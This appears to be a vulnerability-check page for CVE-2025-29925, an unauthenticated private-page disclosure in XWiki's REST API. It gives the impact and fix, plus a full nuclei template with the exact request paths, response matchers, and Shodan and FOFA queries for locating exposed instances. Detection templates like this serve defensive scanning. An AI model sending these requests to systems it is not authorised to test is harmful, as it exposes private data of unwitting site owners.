XWiki REST API - Private Pages Disclosure

highseverity

7.5CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.

Impact

Unauthenticated users can access private page information through the REST API pages endpoint, potentially exposing sensitive metadata and page content.

Fix

Upgrade to XWiki version that implements proper authorization checks for the REST API pages endpoint.

How to confirm it

Send: GET {{BaseURL}}/{{path}}
Positive when: contains "<pageSummary" and "<pages" and "<xwikiRelativeUr" AND contains in header "text/xml" or "text/javascript" AND status 200

Run it with nuclei: nuclei -id CVE-2025-29925 -u <target>

The full check

id: CVE-2025-29925

info:
  name: XWiki REST API - Private Pages Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.
  impact: |
    Unauthenticated users can access private page information through the REST API pages endpoint, potentially exposing sensitive metadata and page content.
  remediation: |
    Upgrade to XWiki version that implements proper authorization checks for the REST API pages endpoint.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-285
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,rest-api,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}"

    payloads:
      path:
        - "rest/wikis/xwiki/pages?space="
        - "xwiki/rest/wikis/xwiki/pages?space="

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<pageSummary"
          - "<pages"
          - "<xwikiRelativeUr"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "text/javascript"

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from